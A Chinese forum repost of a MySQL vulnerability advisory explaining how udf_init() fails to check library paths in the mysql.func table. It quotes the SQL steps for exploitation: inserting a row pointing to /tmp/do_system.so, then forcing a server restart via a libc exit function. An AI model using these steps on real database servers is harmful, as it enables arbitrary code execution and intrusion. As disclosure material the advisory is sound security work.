[推荐]Mysql CREATE FUNCTION mysql.func表允许注入任意函数库漏洞 (Other,补丁)_MySQL, Oracle及数据库讨论区_Weblogic技术|Tuxedo技术|中间件技术|Oracle论坛|JAVA论坛|Linux/Unix技术|hadoop论坛_联动北方技术论坛  
网站首页 | 关于我们 | 服务中心 | 经验交流 | 公司荣誉 | 成功案例 | 合作伙伴 | 联系我们 |
联动北方-国内领先的云技术服务提供商
»  游客             当前位置:  论坛首页 »  自由讨论区 »  MySQL, Oracle及数据库讨论区 »
总帖数
1
每页帖数
101/1页1
返回列表
0
发起投票  发起投票 发新帖子
查看: 2272 | 回复: 0   主题: [推荐]Mysql CREATE FUNCTION mysql.func表允许注入任意函数库漏洞 (Other,补丁)        下一篇 
gunrose
注册用户
等级:新兵
经验:36
发帖:79
精华:0
注册:2011-7-21
状态:离线
发送短消息息给gunrose 加好友    发送短消息息给gunrose 发消息
发表于: IP:您无权察看 2014-11-19 9:58:07 | [全部帖] [楼主帖] 楼主

MySQL是一款开放源代码数据库系统。

如果经过认证的用户对mysql管理数据库拥有INSERT和DELETE的权限的话,就可能使用任意目录下的函数库。

漏洞的起因是对sql_udf.cc中udf_init()函数的目录分隔符缺少检查。如果试图创建一个函数来加载任意目录中函数库时:

mysql> create function do_system returns integer soname
‘/tmp/do_system.so’;
ERROR 1124: No paths allowed for shared library


可见无法从任意目录加载函数库。

在sql_udf.cc中:

int mysql_create_function(THD *thd,udf_func *udf)
{
      …..
      /*
      Ensure that the .dll doesn’t have a path
      This is done to ensure that only approved dll from the system
      directories are used (to make this even remotely secure).
      */
      if (strchr(udf->dl, ‘/’))
      {
            send_error(&thd->net, ER_UDF_NO_PATHS,ER(ER_UDF_NO_PATHS));
            DBUG_RETURN(1);
      }


调用上述内容,检查函数库名称是否包含有“/”,因此无法从任意位置加载函数库。

下面是储存的函数信息:

mysql> describe mysql.func;
+——-+——————————+——+—–+———-+——-+
| Field | Type                 | Null | Key | Default | Extra |
+——-+——————————+——+—–+———-+——-+
| name | char(64) binary         |    | PRI |       |     |
| ret  | tinyint(1)             |    |   | 0     |     |
| dl   | char(128)             |    |   |       |     |
| type | enum(‘function’,'aggregate’) |    |   | function |     |
+——-+——————————+——+—–+———-+——-+


mysql.func表中保存了有关加载的和创建的函数的所有信息,且每次mysql重启时都会更新。通过这种方式就可以检索到所有之前所创建的函数。

上述步骤是通过sql_udf.cc中的调用实现的。

void udf_init()
{
….


这个调用读取mysql.func列表并重置所有之前已声明的和创建的函数,但事实上没有检查dl字段中是否包含“/”。

如果攻击者不使用CREATE FUNCTION而是使用INSERT INTO的话,就可在dl字段的共享库中放置名称。

INSERT INTO mysql.func (name,dl) VALUES
(‘do_system’,'/tmp/do_system.so’);


然后强迫mysql重启:

CREATE FUNCTION exit RETURNS INTEGER SONAME ‘libc.so.6′;
SELECT exit(0);


mysql重启时允许攻击者使用导入的函数,这样就会加载/tmp/do_system.so的共享库。

如果用户拥有File_Priv (SELECT …INTO OUTFILE)的话就可进行远程攻击。

--转自 北京联动北方科技有限公司




赞(0)    操作        顶端 
总帖数
1
每页帖数
101/1页1
返回列表
发新帖子
请输入验证码: 点击刷新验证码
您需要登录后才可以回帖 登录 | 注册
技术讨论